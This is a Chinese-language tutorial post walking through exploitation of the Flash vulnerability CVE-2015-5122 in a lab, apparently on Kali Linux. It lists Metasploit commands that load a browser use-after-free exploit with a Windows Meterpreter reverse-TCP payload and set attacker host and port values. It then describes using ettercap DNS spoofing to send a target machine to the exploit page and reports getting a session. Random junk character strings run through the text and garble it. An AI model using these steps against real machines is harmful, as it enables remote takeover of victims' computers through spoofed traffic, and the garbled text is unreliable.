cve2015-5122漏洞实例演示虚拟机

admin

4 A9 j$ b- M" S( ^' U 二、cve2015-5122漏洞实例演示虚拟机

0 d2 Z6 C9 @/ D! Y3 d" e) Q   关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图：

6 t) b& D7 E5 `& w' P

search cve-2015-5122如图：

% }7 e, }, Z; }5 B) |- G% _

9 y- }/ X7 ~$ ]1 |1 M5 o6 ]  

下面我们敲如下命令： 1 d0 L+ U( j) Y6 K; J

. t+ C+ c: p! h) v( Z3 \

, f7 D! W o- `$ Z$ Y' l6 c5 ~ use exploit/multi/browser/adobe_flash_opaque_background_uaf

set PAYLOAD windows/meterpreter/reverse_tcp

& O4 s7 d- T! V) `2 v$ y* k" g5 y. M

4 ~% Y9 `1 w5 M/ D. k1 a; _ set LHOST 192.168.0.109

set URIPATH /                        /*根目录*/ $ g S$ v. l+ o: ~; C! \

d W" f! s* ~4 x& ]; b4 \7 I* _8 K

set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址 - _& R( r" A4 }) M% E' \0 S1 {+ e0 D8 w

% U* c# w% o9 k

set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 # R& T! d2 w+ `) J8 A( }

) C( {7 G+ y# ` y$ h1 l' p

然后show options如图： 5 e/ g- a; X" y1 n6 ^2 u

 

2 B, X' f2 w" E2 d' [+ X

一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
2 e; O ^! ]: I! i+ N& m

* T4 a( G" V5 J8 O" g/ y

然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115 ) D2 @; L K4 C' o) `& w- M

4 C9 R/ q, c3 [. M8 F$ a: m2 D

. {( z: t/ n5 C- x Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf

1 c8 M' j' r* G4 a+ Q/ V

8 q$ f) m( y+ ~- ~. n  

' F! ~% ?2 f# p0 e9 ? 成功了，这时候我们断开ettercap，如图： 6 O. z" X6 S* P# V+ r

+ E3 y- Z& R$ R' z5 e1 D0 Y

3 \6 A% Z" `7 ]/ U% ~* X   5 c9 g' M0 ?* g9 |/ S$ x: r) j

Screenshot如图：

3 k& I/ N% {+ f# a. m. y4 N  

2 y( h# G* M7 U: R- \9 [" \7 g. G